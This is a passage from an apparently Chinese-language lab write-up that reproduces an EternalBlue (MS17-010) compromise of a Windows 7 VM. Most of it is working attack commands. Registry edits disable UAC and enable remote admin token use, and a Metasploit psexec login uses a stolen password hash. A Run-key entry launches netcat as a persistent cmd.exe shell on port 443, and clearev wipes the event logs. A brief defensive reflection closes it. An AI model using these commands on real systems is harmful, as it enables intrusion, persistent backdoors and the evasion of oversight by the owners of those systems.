cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f【命令解释】 这个命令是在 Windows 命令提示符cmd中执行的它修改了 Windows 注册表中的一个键值。以下是每个部分的详细解释 cmd.exe /k这部分表示启动一个新的命令提示符窗口并在执行完命令后保持窗口打开。%windir%\System32\reg.exe这部分是 reg.exe 命令的完整路径reg.exe 是一个用于操作注册表的命令行工具。ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System这部分表示要添加或修改的注册表键的路径。/v EnableLUA这部分表示要添加或修改的值的名称这里是 EnableLUA。/t REG_DWORD这部分表示值的类型这里是 REG_DWORD表示一个32位的数字。/d 0这部分表示值的数据这里是 0。/f这部分表示强制执行命令不提示用户确认。 总的来说这个命令的目的是关闭 User Account ControlUAC。EnableLUA 键控制 UAC 的开启和关闭设置为 0 表示关闭 UAC。请注意关闭 UAC 可能会降低系统的安全性因为它移除了对管理员级别操作的提示。 开启系统主机的默认共享默认共享对于主机文件共享非常方便也方便黑客利用这个功能远程执行命令。
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f这里的代码和上一个关闭UAC的操作中不一样的主要是 /v 所指定的值是文件协议而 /d所指定的值是1表示开启而不是上面的0表示的关闭。 过渡 exit返回meterpreter输入background将永恒之蓝拿到的会话保持到后台。 切换使用扫描工具use exploit/windows/smb/psexec 查看需要配置的参数show options 设置靶机ipset rhosts 192.168.99.119 设置靶机账户名set smbuser hack 设置靶机密码 set smbpass aad3b435b51404eeaad3b435b51404ee:f4028299935700e0be0eba20d233404d hack账户密码hash值 设置靶机工作组set smbdomain WORKGROUP 运行run 设置靶机注册表的键值使得当目标机开机nc程序可以自动在后台运行且监听端口为443这个端口就是之前在shell中创建的新防火墙规则允许443端口访问网络 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d C:\windows\nc.exe -Ldp 443 -e cmd.exe 【代码解释】 这个命令是在 Windows 注册表中设置一个键值。以下是每个部分的详细解释 reg setval这部分表示使用 reg 命令的 setval 操作来设置一个注册表值。-k HKLM\software\microsoft\windows\currentversion\run这部分表示要设置的注册表键的路径。这个路径指向的是 Windows 启动时运行的程序列表。-v lltest_nc这部分表示要设置的值的名称这里是 lltest_nc。-d ‘C:\windows\nc.exe -Ldp 443 -e cmd.exe’这部分表示值的数据这里是一个命令行字符串它会在 Windows 启动时执行。 总的来说这个命令的目的是在 Windows 启动时运行 nc.exe 程序。nc.exe 是 Netcat 的可执行文件一个网络工具可以用于创建 TCP 或 UDP 连接。这个命令让 nc.exe 在 443 端口监听连接并在接收到连接时启动一个命令提示符cmd.exe会话。这可能是为了创建一个反向 shell允许远程用户在启动时获得对系统的访问权限。 接下来我们让靶机重启测试一下我们的后门是否可以成功执行reboot 在kali终端下尝试连接后门nc -v 192.168.99.119 443 至此已经完成了后门程序的上传和安全的运行。值得注意的是当我的后门程序安全植入靶机之后即使靶机重新开启了防火墙我也依然能够通过我的后门程序来访问靶机的shell。
4. 其他尝试
4.1 解决拿到shell后的乱码问题
在上面的利用永恒之蓝的提权实验过程中我们发现提权后使用shell会出现乱码的问题这里就补充如何解决提权后Win7shell的乱码问题 使用chcp 65001命令更改页面编码为65001编码即可
4.2 监控桌面行为
使用screenshare命令监控靶机的桌面行为
4.3 清除渗透痕迹
由于攻击过程中的所有操作都会被记录在目标系统的日志文件之中因此需要在完成攻击之后使用clearev来清除自己渗透的痕迹。
5. 反渗透反思
体会了渗透的过程之后才明白安全的重要性攻防无绝对网络空间安全的重要性不言而喻。 对于个人PC使用者来说我们要谨记时刻打开防火墙关闭445端口安装好合适的杀毒软件。 以下是打开防火墙后我继续尝试使用MS17-010漏洞利用工具来渗透的结果。【打开防火墙后】
6. 参考文献
[1] Kali——关于Kali的下载与安装[OL] [2] 网络安全入门第一课—永恒之蓝ms17-010[OL] [3] 永恒之蓝漏洞复现(ms17-010)[OL] [4] 桥接模式和NAT模式的区别[OL] [5] VMware Workstation下载及安装 [6] Kali自2020.1版本之后不再提供root用户的策略 [7] 下载Windows 7 Enterprise with Service Pack 1 (x64) - DVD (Chinese-Simplified)需用迅雷下载 [8] MD5在线加解密网站 [9] kali上使用msf渗透win7(永恒之蓝操作复现)初学者指南 [10] Kali利用msf渗透Windows电脑超详细